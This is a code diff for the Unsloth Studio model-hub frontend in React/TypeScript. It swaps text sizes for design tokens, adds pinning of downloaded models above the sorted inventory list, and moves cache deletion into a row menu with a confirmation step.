   const datasetSizeBytes =
@@ -525,11 +582,11 @@ export const ModelInspector = memo(function ModelInspector({
           <OwnerAvatar
             owner={model.owner}
             repoName={model.title}
-            className="size-[60px] rounded-[18px] text-[19px]"
+            className="size-[60px] rounded-[18px] text-ui-19"
           />
           <div className="min-w-0 flex-1">
             <div className="flex min-w-0 items-center gap-1.5">
-              <h2 className="truncate text-[25px] font-semibold leading-[31px] tracking-normal text-foreground">
+              <h2 className="truncate text-ui-25 font-semibold leading-ui-31 tracking-normal text-foreground">
                 {model.title}
               </h2>
               {model.hubRepoId && (
@@ -542,12 +599,12 @@ export const ModelInspector = memo(function ModelInspector({
                 </div>
               )}
             </div>
-            <div className="mt-0.5 flex min-w-0 items-center gap-1 text-[15px] leading-[24px] text-muted-foreground">
+            <div className="mt-0.5 flex min-w-0 items-center gap-1 text-ui-15 leading-ui-24 text-muted-foreground">
               <span className="truncate">{model.owner}</span>
               {model.owner.toLowerCase() === "unsloth" && (
                 <span
                   aria-label="Verified Unsloth"
-                  className="hub-verified-badge size-[18px] shrink-0 text-primary"
+                  className="hub-verified-badge size-[18px] shrink-0 text-verified"
                 />
               )}
             </div>
@@ -556,12 +613,12 @@ export const ModelInspector = memo(function ModelInspector({
 
         <div className="mt-4 flex flex-wrap items-center gap-1.5">
           {isDataset && (
-            <span className="inline-flex shrink-0 items-center rounded-full border border-violet-500/40 bg-transparent px-2 py-0.5 text-[11.5px] font-medium text-violet-600 dark:text-violet-400">
+            <span className="inline-flex shrink-0 items-center rounded-full border border-violet-500/40 bg-transparent px-2 py-0.5 text-ui-11p5 font-medium text-violet-600 dark:text-violet-400">
               Dataset
             </span>
           )}
           {!isDataset && (
-            <span className="inline-flex h-6 items-center gap-1.5 rounded-full bg-muted px-2.5 text-[11.5px] font-medium text-foreground dark:bg-[rgba(255,255,255,0.04)]">
+            <span className="inline-flex h-6 items-center gap-1.5 rounded-full bg-muted px-2.5 text-ui-11p5 font-medium text-foreground dark:bg-[rgba(255,255,255,0.04)]">
               <HugeiconsIcon
                 icon={CubeIcon}
                 strokeWidth={1.75}
@@ -643,6 +700,7 @@ export const ModelInspector = memo(function ModelInspector({
               }
               onLoad={onLoadLocal}
               onUseInChat={onUseInChat}
+              onEject={onEject}
               onTrain={
                 model.isDownloaded && canTrainModel ? onTrain : undefined
               }
@@ -666,6 +724,7 @@ export const ModelInspector = memo(function ModelInspector({
               knownBytes={model.cachedBytes}
               onLoad={model.isLocal ? onLoadLocal : onLoad}
               onUseInChat={onUseInChat}
+              onEject={onEject}
               onTrain={
                 model.isDownloaded && canTrainModel ? onTrain : undefined
               }
@@ -677,12 +736,12 @@ export const ModelInspector = memo(function ModelInspector({
 
       <div className="pb-5 pt-5">
         {selectionHiddenByFilters && (
-          <p className="mb-3 rounded-[8px] border border-amber-500/30 bg-amber-500/10 px-3 py-2 text-[11.5px] leading-snug text-muted-foreground">
+          <p className="mb-3 rounded-[8px] border border-amber-500/30 bg-amber-500/10 px-3 py-2 text-ui-11p5 leading-snug text-muted-foreground">
             Current selection is hidden by the active filters or search.
           </p>
         )}
         {metadataUnavailable && (
-          <p className="mb-3 text-[11.5px] leading-snug text-muted-foreground">
+          <p className="mb-3 text-ui-11p5 leading-snug text-muted-foreground">
             Couldn't load full details from Hugging Face. Some fields may be
             incomplete.
           </p>
@@ -765,6 +824,7 @@ export const ModelInspector = memo(function ModelInspector({
         <ModelStatusChips
           isDataset={isDataset}
           isGguf={model.isGguf}
+          chatOnly={chatOnly}
           unslothSupport={unslothSupport}
           vramInfo={vramInfo}
         />
diff --git a/studio/frontend/src/features/hub/catalog/model-readme.tsx b/studio/frontend/src/features/hub/catalog/model-readme.tsx
index 3d215473e2..889b011399 100644
--- a/studio/frontend/src/features/hub/catalog/model-readme.tsx
+++ b/studio/frontend/src/features/hub/catalog/model-readme.tsx
@@ -126,17 +126,17 @@ function prepareReadmeBody(markdown: string): string {
 }
 
 const PROSE = cn(
-  "max-w-none text-[13.5px] leading-[1.7] text-foreground/85",
-  "[&_h1]:text-[18px] [&_h1]:font-semibold [&_h1]:tracking-tight [&_h1]:mt-2 [&_h1]:mb-3",
-  "[&_h2]:text-[15.5px] [&_h2]:font-semibold [&_h2]:tracking-tight [&_h2]:mt-5 [&_h2]:mb-2",
-  "[&_h3]:text-[14px] [&_h3]:font-semibold [&_h3]:mt-4 [&_h3]:mb-1.5",
+  "max-w-none text-ui-13p5 leading-[1.7] text-foreground/85",
+  "[&_h1]:text-ui-18 [&_h1]:font-semibold [&_h1]:tracking-tight [&_h1]:mt-2 [&_h1]:mb-3",
+  "[&_h2]:text-ui-15p5 [&_h2]:font-semibold [&_h2]:tracking-tight [&_h2]:mt-5 [&_h2]:mb-2",
+  "[&_h3]:text-ui-14 [&_h3]:font-semibold [&_h3]:mt-4 [&_h3]:mb-1.5",
   "[&_p]:my-2.5 [&_ul]:my-2 [&_ol]:my-2 [&_li]:my-0.5",
   "[&_a]:text-primary [&_a:hover]:underline",
-  "[&_code]:rounded-md [&_code]:bg-muted/60 [&_code]:px-1 [&_code]:py-0.5 [&_code]:text-[12px] [&_code]:font-mono",
-  "[&_pre]:rounded-[12px] [&_pre]:border [&_pre]:border-border/60 [&_pre]:bg-muted/40 [&_pre]:p-3 [&_pre]:text-[12px] [&_pre]:overflow-x-auto",
+  "[&_code]:rounded-md [&_code]:bg-muted/60 [&_code]:px-1 [&_code]:py-0.5 [&_code]:text-ui-12 [&_code]:font-mono",
+  "[&_pre]:rounded-[12px] [&_pre]:border [&_pre]:border-border/60 [&_pre]:bg-muted/40 [&_pre]:p-3 [&_pre]:text-ui-12 [&_pre]:overflow-x-auto",
   "[&_pre_code]:bg-transparent [&_pre_code]:p-0",
   "[&_blockquote]:border-l-2 [&_blockquote]:border-border/60 [&_blockquote]:pl-3 [&_blockquote]:text-muted-foreground",
-  "[&_table]:my-3 [&_table]:text-[12.5px]",
+  "[&_table]:my-3 [&_table]:text-ui-12p5",
   "[&_th]:px-2 [&_th]:py-1.5 [&_th]:text-left [&_th]:font-semibold [&_th]:border-b [&_th]:border-border/60",
   "[&_td]:px-2 [&_td]:py-1.5 [&_td]:border-b [&_td]:border-border/40",
   "[&_img]:rounded-[10px] [&_img]:my-2 [&_img]:max-w-full",
@@ -300,7 +300,7 @@ function ReadmePlaceholder({
       aria-busy="true"
       aria-live="polite"
     >
-      <div className="flex items-center gap-2 text-[12.5px] text-muted-foreground">
+      <div className="flex items-center gap-2 text-ui-12p5 text-muted-foreground">
         <Spinner className="size-3.5" />
         {message ?? `Loading ${kind === "dataset" ? "dataset" : "model"} card…`}
       </div>
@@ -540,7 +540,7 @@ export function ModelReadme({
         ? current.error
         : readmeUnavailableMessage(subject);
     return (
-      <p className="min-h-[44px] text-[12.5px] text-muted-foreground">
+      <p className="min-h-[44px] text-ui-12p5 text-muted-foreground">
         {errorMessage}
       </p>
     );
@@ -548,7 +548,7 @@ export function ModelReadme({
 
   if (!current.body) {
     return (
-      <p className="min-h-[44px] text-[12.5px] text-muted-foreground">
+      <p className="min-h-[44px] text-ui-12p5 text-muted-foreground">
         {readmeMissingMessage(subject)}
       </p>
     );
diff --git a/studio/frontend/src/features/hub/catalog/models-catalog-lists.tsx b/studio/frontend/src/features/hub/catalog/models-catalog-lists.tsx
index 355c38a91e..cbae108006 100644
--- a/studio/frontend/src/features/hub/catalog/models-catalog-lists.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-catalog-lists.tsx
@@ -2,13 +2,20 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { Spinner } from "@/components/ui/spinner";
+import {
+  makePinRank,
+  pinKey,
+  usePinnedModelsStore,
+} from "@/features/model-picker";
 import {
   CubeIcon,
   DownloadCircle02Icon,
-  FolderSearchIcon,
+  PinIcon,
+  Search01Icon,
 } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
 import type { RefObject } from "react";
-import { useMemo } from "react";
+import { useLayoutEffect, useMemo, useState } from "react";
 import {
   inventoryRowMatches,
   scoreInventoryRow,
@@ -61,7 +68,7 @@ export function InventoryWarningRow({
   onRetry: () => void;
 }) {
   return (
-    <div className="mx-5 mt-2 rounded-[8px] border border-amber-500/30 bg-amber-500/10 px-3 py-2 text-[12.5px] text-muted-foreground">
+    <div className="mx-5 mt-2 rounded-[8px] border border-amber-500/30 bg-amber-500/10 px-3 py-2 text-ui-12p5 text-muted-foreground">
       <div className="flex items-center justify-between gap-3">
         <span>
           Some on-device sources couldn't be scanned. Showing available{" "}
@@ -69,7 +76,7 @@ export function InventoryWarningRow({
         </span>
         <button
           type="button"
-          className="shrink-0 text-[12px] font-medium text-foreground transition-colors hover:text-primary"
+          className="shrink-0 text-ui-12 font-medium text-foreground transition-colors hover:text-primary"
           onClick={onRetry}
         >
           Retry
@@ -208,7 +215,7 @@ export function DiscoverList({
           <SkeletonList />
         ) : (
           <EmptyState
-            icon={query.trim() ? FolderSearchIcon : CubeIcon}
+            icon={query.trim() ? Search01Icon : CubeIcon}
             title={
               query.trim()
                 ? `No matching ${isDataset ? "datasets" : "models"}`
@@ -244,6 +251,8 @@ export function DownloadedList({
   downloadedReady,
   inventoryError,
   query,
+  typeFilterActive = false,
+  onClearFilters,
   scrollElement,
   columns = 1,
   activeCheckpoint,
@@ -262,6 +271,8 @@ export function DownloadedList({
   downloadedReady: boolean;
   inventoryError: boolean;
   query: string;
+  typeFilterActive?: boolean;
+  onClearFilters?: () => void;
   scrollElement: HTMLDivElement | null;
   columns?: number;
   activeCheckpoint: string | null;
@@ -274,11 +285,20 @@ export function DownloadedList({
   sort: InventorySort;
   onInventoryChange?: () => void;
 }) {
+  // Pinned repos surface first regardless of the active sort; the chosen sort
+  // still orders rows within the pinned and unpinned groups.
+  const pinnedIds = usePinnedModelsStore((s) => s.pinned);
+  const pinnedSet = useMemo(() => new Set(pinnedIds), [pinnedIds]);
   const inventoryItems = useMemo<InventoryItem[]>(() => {
     const merged: InventoryItem[] = [
       ...cachedRows.map((row) => ({ variant: "cached" as const, row })),
       ...localRows.map((row) => ({ variant: "local" as const, row })),
     ];
+    // Pinned rows order by pin recency (newest pin first), not the active
+    // sort, so "Pin to top" puts the row exactly where the user expects.
+    const rank = makePinRank(pinnedIds);
+    const pinRank = (item: InventoryItem) =>
+      item.row.repoId ? rank(pinKey(item.row.repoId)) : Number.MAX_SAFE_INTEGER;
     if (inventoryTokens.length > 0) {
       return merged
         .map((item, index) => ({
@@ -286,29 +306,89 @@ export function DownloadedList({
           index,
           score: scoreInventoryRow(item.row, inventoryTokens),
         }))
-        .sort((a, b) => b.score - a.score || a.index - b.index)
+        .sort(
+          (a, b) =>
+            pinRank(a.item) - pinRank(b.item) ||
+            b.score - a.score ||
+            a.index - b.index,
+        )
         .map((entry) => entry.item);
     }
     if (sort === "recent") {
-      return merged;
+      return merged
+        .map((item, index) => ({ item, index }))
+        .sort((a, b) => pinRank(a.item) - pinRank(b.item) || a.index - b.index)
+        .map((entry) => entry.item);
     }
     return merged
       .map((item, index) => ({ item, index }))
-      .sort((a, b) =>
-        sort === "name"
-          ? inventoryItemTitle(a.item).localeCompare(
-              inventoryItemTitle(b.item),
-            ) || a.index - b.index
-          : inventoryItemSize(b.item) - inventoryItemSize(a.item) ||
-            a.index - b.index,
+      .sort(
+        (a, b) =>
+          pinRank(a.item) - pinRank(b.item) ||
+          (sort === "name"
+            ? inventoryItemTitle(a.item).localeCompare(
+                inventoryItemTitle(b.item),
+              ) || a.index - b.index
+            : inventoryItemSize(b.item) - inventoryItemSize(a.item) ||
+              a.index - b.index),
       )
       .map((entry) => entry.item);
-  }, [cachedRows, localRows, inventoryTokens, sort]);
+  }, [cachedRows, localRows, inventoryTokens, sort, pinnedIds]);
   const hasInventoryRows = cachedRows.length > 0 || localRows.length > 0;
+  // Pinned repos get their own labelled section so it's clear why they lead
+  // the list; inventoryItems already sorts them first, so this is a prefix.
+  const pinnedCount = useMemo(
+    () =>
+      inventoryItems.filter(
+        (item) => item.row.repoId && pinnedSet.has(pinKey(item.row.repoId)),
+      ).length,
+    [inventoryItems, pinnedSet],
+  );
+  const pinnedItems = inventoryItems.slice(0, pinnedCount);
+  const unpinnedItems = inventoryItems.slice(pinnedCount);
+  const [virtualRowsWrapper, setVirtualRowsWrapper] =
+    useState<HTMLDivElement | null>(null);
+  const [scrollMargin, setScrollMargin] = useState(0);
+  useLayoutEffect(() => {
+    if (!virtualRowsWrapper || !scrollElement) return;
+    const measure = () => {
+      const margin = Math.max(
+        0,
+        Math.round(
+          virtualRowsWrapper.getBoundingClientRect().top -
+            scrollElement.getBoundingClientRect().top +
+            scrollElement.scrollTop,
+        ),
+      );
+      setScrollMargin((current) => (current === margin ? current : margin));
+    };
+    measure();
+    const observer = new ResizeObserver(measure);
+    observer.observe(virtualRowsWrapper.parentElement ?? scrollElement);
+    return () => observer.disconnect();
+  }, [virtualRowsWrapper, scrollElement]);
+  const rowHeightPx = compact
+    ? RESULT_SPLIT_ROW_HEIGHT_PX
+    : RESULT_GRID_ROW_HEIGHT_PX;
+  const cellHeightPx = compact ? RESULT_SPLIT_HEIGHT_PX : RESULT_GRID_HEIGHT_PX;
+  const renderInventoryRow = (item: InventoryItem) => (
+    <InventoryRow
+      row={item.row}
+      selected={selectedId === item.row.id}
+      activeCheckpoint={activeCheckpoint}
+      activeGgufVariant={activeGgufVariant}
+      isDataset={isDataset}
+      dimmed={!inventoryRowMatches(item.row, inventoryTokens)}
+      deviceType={deviceType}
+      compact={compact}
+      onSelect={onSelect}
+      onChange={onInventoryChange}
+    />
+  );
 
   if (!downloadedReady && !hasInventoryRows) {
     return (
-      <div className="flex min-h-[240px] items-center justify-center gap-3 text-[13px] text-muted-foreground">
+      <div className="flex min-h-[240px] items-center justify-center gap-3 text-ui-13 text-muted-foreground">
         <Spinner className="size-4" />
         Loading local inventory...
       </div>
@@ -325,9 +405,29 @@ export function DownloadedList({
   }
 
   if (cachedRows.length === 0 && localRows.length === 0) {
+    if (!query.trim() && typeFilterActive) {
+      return (
+        <EmptyState
+          icon={Search01Icon}
+          title="No matching models on device"
+          body="No downloaded or local model matches the selected type filter."
+          action={
+            onClearFilters && (
+              <button
+                type="button"
+                onClick={onClearFilters}
+                className="inline-flex h-8 items-center gap-1.5 rounded-full bg-transparent px-3 text-ui-12 font-medium text-foreground transition-colors hover:bg-foreground/[0.04] dark:hover:bg-white/[0.05]"
+              >
+                Show all types
+              </button>
+            )
+          }
+        />
+      );
+    }
     return (
       <EmptyState
-        icon={query.trim() ? FolderSearchIcon : DownloadCircle02Icon}
+        icon={query.trim() ? Search01Icon : DownloadCircle02Icon}
         title={query.trim() ? "No matches on device" : "Nothing on device yet"}
         body={
           query.trim()
@@ -341,27 +441,57 @@ export function DownloadedList({
   }
 
   return (
-    <VirtualRows
-      items={inventoryItems}
-      scrollElement={scrollElement}
-      columns={columns}
-      rowHeight={compact ? RESULT_SPLIT_ROW_HEIGHT_PX : RESULT_GRID_ROW_HEIGHT_PX}
-      cellHeight={compact ? RESULT_SPLIT_HEIGHT_PX : RESULT_GRID_HEIGHT_PX}
-      getKey={(item) => `${item.variant}-${item.row.id}`}
-      renderRow={(item) => (
-        <InventoryRow
-          row={item.row}
-          selected={selectedId === item.row.id}
-          activeCheckpoint={activeCheckpoint}
-          activeGgufVariant={activeGgufVariant}
-          isDataset={isDataset}
-          dimmed={!inventoryRowMatches(item.row, inventoryTokens)}
-          deviceType={deviceType}
-          compact={compact}
-          onSelect={onSelect}
-          onChange={onInventoryChange}
-        />
+    <>
+      {pinnedItems.length > 0 && (
+        <>
+          <div className="flex items-center gap-1.5 px-1 pb-2 pt-3 text-ui-11 font-semibold uppercase tracking-wider text-muted-foreground">
+            <HugeiconsIcon
+              icon={PinIcon}
+              strokeWidth={1.75}
+              className="size-3.5"
+            />
+            Pinned
+          </div>
+          {/* Pinned rows are few, so render them as a plain grid matching the
+              virtualized list's lane count and row spacing. */}
+          <div
+            style={{
+              display: "grid",
+              gridTemplateColumns: `repeat(${Math.max(1, columns)}, minmax(0, 1fr))`,
+              columnGap: 12,
+              rowGap: rowHeightPx - cellHeightPx,
+              paddingBottom: rowHeightPx - cellHeightPx,
+            }}
+          >
+            {pinnedItems.map((item) => (
+              <div
+                key={`${item.variant}-${item.row.id}`}
+                className="min-w-0"
+                style={{ height: cellHeightPx }}
+              >
+                {renderInventoryRow(item)}
+              </div>
+            ))}
+          </div>
+          {unpinnedItems.length > 0 && (
+            <div className="px-1 pb-2 pt-2 text-ui-11 font-semibold uppercase tracking-wider text-muted-foreground">
+              All {isDataset ? "datasets" : "models"}
+            </div>
+          )}
+        </>
       )}
-    />
+      <div ref={setVirtualRowsWrapper}>
+        <VirtualRows
+          items={unpinnedItems}
+          scrollElement={scrollElement}
+          scrollMargin={scrollMargin}
+          columns={columns}
+          rowHeight={rowHeightPx}
+          cellHeight={cellHeightPx}
+          getKey={(item) => `${item.variant}-${item.row.id}`}
+          renderRow={renderInventoryRow}
+        />
+      </div>
+    </>
   );
 }
diff --git a/studio/frontend/src/features/hub/catalog/models-catalog-rows.tsx b/studio/frontend/src/features/hub/catalog/models-catalog-rows.tsx
index 4199755ba7..5236c0be74 100644
--- a/studio/frontend/src/features/hub/catalog/models-catalog-rows.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-catalog-rows.tsx
@@ -1,7 +1,6 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { ModelDeleteAction } from "@/components/assistant-ui/model-selector/model-delete-action";
 import {
   Tooltip,
   TooltipContent,
@@ -9,18 +8,26 @@ import {
 } from "@/components/ui/tooltip";
 import {
   type GgufVariantDetail,
-  deleteCachedModel,
   deleteCachedDataset,
+  deleteCachedModel,
   formatLocalUpdated,
   listGgufVariants,
   useGgufVariantsCacheVersion,
-} from "@/features/hub/inventory";
-import { classifyUnslothSupport } from "@/features/hub/hooks/use-hub-model-search";
-import { formatBytes, formatRelativeShort } from "@/features/hub/lib/format";
-import { ggufVariantDisplayLabel } from "@/features/hub/lib/gguf-variant-sort";
-import { modelIdsMatch } from "@/features/hub/lib/model-identity";
+} from "../inventory";
+import {
+  classifyUnslothSupport,
+  formatBytes,
+  formatRelativeShort,
+  ggufVariantDisplayLabel,
+  useHfTokenStore,
+} from "@/features/hub";
+import { modelIdsMatch } from "../lib/model-identity";
+import {
+  ModelRowMenu,
+  pinKey,
+  usePinnedModelsStore,
+} from "@/features/model-picker";
 import { cn, formatCompact } from "@/lib/utils";
-import { useHfTokenStore } from "@/features/hub/stores/hf-token-store";
 import {
   Download01Icon,
   FavouriteIcon,
@@ -39,6 +46,7 @@ import {
   useRef,
   useState,
 } from "react";
+import { paramLabelFromId } from "../lib/view-models";
 import type {
   CachedInventoryRow,
   DiscoverRow,
@@ -46,7 +54,6 @@ import type {
 } from "../types";
 import { OwnerAvatar } from "./owner-avatar";
 import { AccessGlyphs } from "./shared";
-import { paramLabelFromId } from "../lib/view-models";
 
 const COARSE_POINTER =
   typeof window !== "undefined" &&
@@ -142,15 +149,15 @@ function CachedSizeChipLive({
   );
 
   const rows: Array<{ label: string; size_bytes: number }> | null =
-    !needsVariantFetch
-      ? [{ label: repoId, size_bytes: totalBytes }]
-      : currentVariantState.status === "loaded" &&
-          currentVariantState.variants.length > 0
+    needsVariantFetch
+      ? currentVariantState.status === "loaded" &&
+        currentVariantState.variants.length > 0
         ? currentVariantState.variants.map((variant) => ({
             label: ggufVariantDisplayLabel(variant),
             size_bytes: variant.size_bytes,
           }))
-        : null;
+        : null
+      : [{ label: repoId, size_bytes: totalBytes }];
   const variantMessage =
     currentVariantState.status === "loading"
       ? "Loading downloaded variants..."
@@ -181,14 +188,14 @@ function CachedSizeChipLive({
                   <StatChip
                     icon={PackageIcon}
                     value={formatBytes(row.size_bytes)}
-                    className="text-[11px] text-white/70"
+                    className="text-ui-11 text-white/70"
                   />
                 </span>
               </li>
             ))}
           </ul>
         ) : (
-          <span className="block max-w-52 text-[11px] leading-4 text-muted-foreground">
+          <span className="block max-w-52 text-ui-11 leading-4 text-muted-foreground">
             {variantMessage}
           </span>
         )}
@@ -218,7 +225,7 @@ export function StatChip({
   return (
     <span
       className={cn(
-        "inline-flex shrink-0 items-center gap-1 whitespace-nowrap text-[10px] font-medium leading-none tabular-nums text-muted-foreground/75",
+        "inline-flex shrink-0 items-center gap-1 whitespace-nowrap text-ui-10 font-medium leading-none tabular-nums text-muted-foreground/75",
         className,
       )}
     >
@@ -270,12 +277,14 @@ function CatalogRow({
         aria-label={label}
         onClick={onClick}
         className={cn(
-          "absolute inset-0 cursor-pointer outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset",
+          "absolute inset-0 cursor-pointer outline-none focus-visible:ring-1 focus-visible:ring-ring focus-visible:ring-inset",
           card ? "rounded-[16px]" : "rounded-[14px]",
         )}
       />
       <CatalogRowInteractiveContext.Provider value={interactive}>
-        <div className={cn("pointer-events-none relative", card && "z-[1] w-full")}>
+        <div
+          className={cn("pointer-events-none relative", card && "z-[1] w-full")}
+        >
           {children}
         </div>
       </CatalogRowInteractiveContext.Provider>
@@ -473,7 +482,7 @@ export const DiscoverModelRow = memo(function DiscoverModelRow({
         <div className="flex min-w-0 flex-1 flex-col gap-[3px]">
           <div className="flex h-[18px] min-w-0 items-center justify-between gap-2">
             <div className="flex min-w-0 items-center gap-2 pr-2">
-              <p className="truncate text-[12px] font-medium leading-[18px] tracking-[-0.005em] text-foreground">
+              <p className="truncate text-ui-12 font-medium leading-ui-18 tracking-[-0.005em] text-foreground">
                 {row.repo}
               </p>
               <AccessGlyphs
@@ -509,17 +518,17 @@ export const DiscoverModelRow = memo(function DiscoverModelRow({
               />
             </div>
           </div>
-          <div className="flex h-[16px] min-w-0 items-center justify-between gap-2 text-[11.5px] leading-[16px] text-muted-foreground/85">
+          <div className="flex h-[16px] min-w-0 items-center justify-between gap-2 text-ui-11p5 leading-ui-16 text-muted-foreground/85">
             <span className="flex min-w-0 items-center gap-1">
               <span className="truncate">{row.owner}</span>
               {row.owner.toLowerCase() === "unsloth" && (
                 <span
                   aria-label="Verified Unsloth"
-                  className="hub-verified-badge size-3.5 shrink-0 text-primary"
+                  className="hub-verified-badge size-3.5 shrink-0 text-verified"
                 />
               )}
             </span>
-            <span className="shrink-0 text-[10.5px] tabular-nums">
+            <span className="shrink-0 text-ui-10p5 tabular-nums">
               {formatRelativeShort(row.result.updatedAt)}
             </span>
           </div>
@@ -653,9 +662,11 @@ export const InventoryRow = memo(function InventoryRow({
       <div className="hidden shrink-0 items-center gap-1.5 sm:flex">
         {/* Format already shows as the status dot, so the pill stays neutral. */}
         {formatLabel && <span className="hub-chip">{formatLabel}</span>}
-        {paramLabel && <span className="hub-chip tabular-nums">{paramLabel}</span>}
+        {paramLabel && (
+          <span className="hub-chip tabular-nums">{paramLabel}</span>
+        )}
         {quantLabel && (
-          <span className="hub-chip font-mono text-[10.5px] uppercase">
+          <span className="hub-chip font-mono text-ui-10p5 uppercase">
             {quantLabel}
           </span>
         )}
@@ -697,9 +708,7 @@ export const InventoryRow = memo(function InventoryRow({
   const compactMarkers =
     partialRepoId || unsupported ? (
       <span className="flex shrink-0 items-center gap-1">
-        {partialRepoId && (
-          <StatusDot tone="warning" label="Partial download" />
-        )}
+        {partialRepoId && <StatusDot tone="warning" label="Partial download" />}
         {unsupported && (
           <StatusDot tone="danger" label="May not be supported yet" />
         )}
@@ -707,48 +716,92 @@ export const InventoryRow = memo(function InventoryRow({
     ) : null;
 
   const ownerLine = (
-    <span className="mt-0.5 flex min-w-0 items-center gap-1 text-[11.5px] leading-[15px] text-muted-foreground/80">
+    <span className="mt-0.5 flex min-w-0 items-center gap-1 text-ui-11p5 leading-ui-15 text-muted-foreground/80">
       <span className="truncate">{subLabel}</span>
       {subLabel.toLowerCase() === "unsloth" && (
         <span
           aria-label="Verified Unsloth"
-          className="hub-verified-badge size-3.5 shrink-0 text-primary"
+          className="hub-verified-badge size-3.5 shrink-0 text-verified"
         />
       )}
     </span>
   );
 
+  const pinnedKeys = usePinnedModelsStore((s) => s.pinned);
+  const togglePinned = usePinnedModelsStore((s) => s.togglePinned);
+  const rowPinned =
+    cacheDeletableRepoId != null &&
+    pinnedKeys.includes(pinKey(cacheDeletableRepoId));
   const deleteAction =
     canDelete && cacheDeletableRepoId ? (
-      <ModelDeleteAction
-        ariaLabel={`Delete ${cacheDeletableRepoId}`}
-        title={isDataset ? "Delete cached dataset?" : "Delete cached model?"}
-        description={
-          <>
-            This will remove{" "}
-            <span className="font-medium text-foreground">
-              {cacheDeletableRepoId}
-            </span>{" "}
-            {isDataset
-              ? "and its downloaded files"
-              : row.isGguf
-                ? "and all of its downloaded quantizations"
-                : "and all of its downloaded files"}
-            {row.kind === "cache" ? ` (${formatBytes(row.bytes)})` : ""} from
-            disk. You can re-download it later.
-          </>
-        }
-        successMessage={`Deleted ${cacheDeletableRepoId}`}
+      <ModelRowMenu
+        ariaLabel={`More options for ${cacheDeletableRepoId}`}
         buttonClassName="pointer-events-auto hub-modal-pe-guard p-2 opacity-0 transition-opacity group-hover/row:opacity-100 focus-visible:opacity-100 data-[state=open]:opacity-100 [@media(pointer:coarse)]:opacity-100"
         iconClassName="size-4"
-        onConfirm={async () => {
-          if (isDataset) {
-            await deleteCachedDataset(cacheDeletableRepoId);
-          } else {
-            await deleteCachedModel(cacheDeletableRepoId);
-          }
+        pin={
+          isDataset
+            ? undefined
+            : {
+                pinned: rowPinned,
+                pinLabel: "Pin to top",
+                unpinLabel: "Unpin",
+                onToggle: () => togglePinned(cacheDeletableRepoId),
+              }
+        }
+        cachePath={isDataset ? undefined : { repoId: cacheDeletableRepoId }}
+        del={{
+          title: isDataset ? "Delete cached dataset?" : "Delete cached model?",
+          description: (
+            <>
+              This will remove{" "}
+              <span className="font-medium text-foreground">
+                {cacheDeletableRepoId}
+              </span>{" "}
+              {isDataset
+                ? "and its downloaded files"
+                : row.isGguf
+                  ? "and all of its downloaded quantizations"
+                  : "and all of its downloaded files"}
+              {row.kind === "cache" ? ` (${formatBytes(row.bytes)})` : ""} from
+              disk. You can re-download it later.
+            </>
+          ),
+          successMessage: `Deleted ${cacheDeletableRepoId}`,
+          onConfirm: async () => {
+            // Delete only the copy this row shows: cache rows carry the owning
+            // cache path, so pass it through and leave other caches untouched.
+            const rowCachePath =
+              row.kind === "cache" ? (row.cachePath ?? undefined) : undefined;
+            if (isDataset) {
+              await deleteCachedDataset(cacheDeletableRepoId, rowCachePath);
+            } else {
+              await deleteCachedModel(
+                cacheDeletableRepoId,
+                undefined,
+                undefined,
+                rowCachePath,
+              );
+              // Deleted repos can't stay pinned: drop the repo pin and any of
+              // its per-quant pins so stale rows don't linger up top.
+              const { pinned, togglePinned: toggle } =
+                usePinnedModelsStore.getState();
+              for (const key of pinned) {
+                if (
+                  key === pinKey(cacheDeletableRepoId) ||
+                  key.startsWith(`${cacheDeletableRepoId}::`)
+                ) {
+                  toggle(
+                    cacheDeletableRepoId,
+                    key.includes("::")
+                      ? key.slice(key.indexOf("::") + 2)
+                      : undefined,
+                  );
+                }
+              }
+            }
+          },
+          onDeleted: onChange,
         }}
-        onDeleted={onChange}
       />
     ) : null;
 
@@ -773,23 +826,23 @@ export const InventoryRow = memo(function InventoryRow({
           <OwnerAvatar
             owner={row.owner}
             repoName={title}
-            className="size-8 shrink-0 rounded-[9px] text-[12px]"
+            className="size-8 shrink-0 rounded-[9px] text-ui-12"
             remote={false}
           />
           <div className="min-w-0 flex-1">
             <div className="flex min-w-0 items-center gap-1.5">
-              <span className="truncate text-[12.5px] font-semibold leading-[16px] text-foreground">
+              <span className="truncate text-ui-12p5 font-semibold leading-ui-16 text-foreground">
                 {title}
               </span>
               {compactMarkers}
             </div>
-            <span className="mt-0.5 flex min-w-0 items-center gap-1.5 text-[10.5px] leading-[14px] text-muted-foreground/75">
+            <span className="mt-0.5 flex min-w-0 items-center gap-1.5 text-ui-10p5 leading-ui-14 text-muted-foreground/75">
               <span className="flex min-w-0 items-center gap-1">
                 <span className="truncate">{subLabel}</span>
                 {subLabel.toLowerCase() === "unsloth" && (
                   <span
                     aria-label="Verified Unsloth"
-                    className="hub-verified-badge size-3 shrink-0 text-primary"
+                    className="hub-verified-badge size-3 shrink-0 text-verified"
                   />
                 )}
               </span>
@@ -807,7 +860,7 @@ export const InventoryRow = memo(function InventoryRow({
               )}
             </span>
           </div>
-          <div className="flex shrink-0 items-center gap-2 text-[10.5px] tabular-nums text-muted-foreground/70">
+          <div className="flex shrink-0 items-center gap-2 text-ui-10p5 tabular-nums text-muted-foreground/70">
             {row.kind === "cache" ? (
               <CachedSizeChip
                 repoId={row.repoId}
@@ -850,7 +903,7 @@ export const InventoryRow = memo(function InventoryRow({
           />
           <div className="min-w-0 flex-1">
             <div className="flex min-w-0 items-center gap-1.5">
-              <span className="truncate text-[13.5px] font-semibold leading-[17px] text-foreground">
+              <span className="truncate text-ui-13p5 font-semibold leading-ui-17 text-foreground">
                 {title}
               </span>
               {statusMarkers}
@@ -871,11 +924,11 @@ export const InventoryRow = memo(function InventoryRow({
               cachePath={row.cachePath}
             />
           ) : trailing ? (
-            <span className="truncate text-[11.5px] tabular-nums text-muted-foreground/70">
+            <span className="truncate text-ui-11p5 tabular-nums text-muted-foreground/70">
               {trailing}
             </span>
           ) : sourceLabel ? (
-            <span className="truncate text-[11.5px] text-muted-foreground/55">
+            <span className="truncate text-ui-11p5 text-muted-foreground/55">
               {sourceLabel}
             </span>
           ) : null}
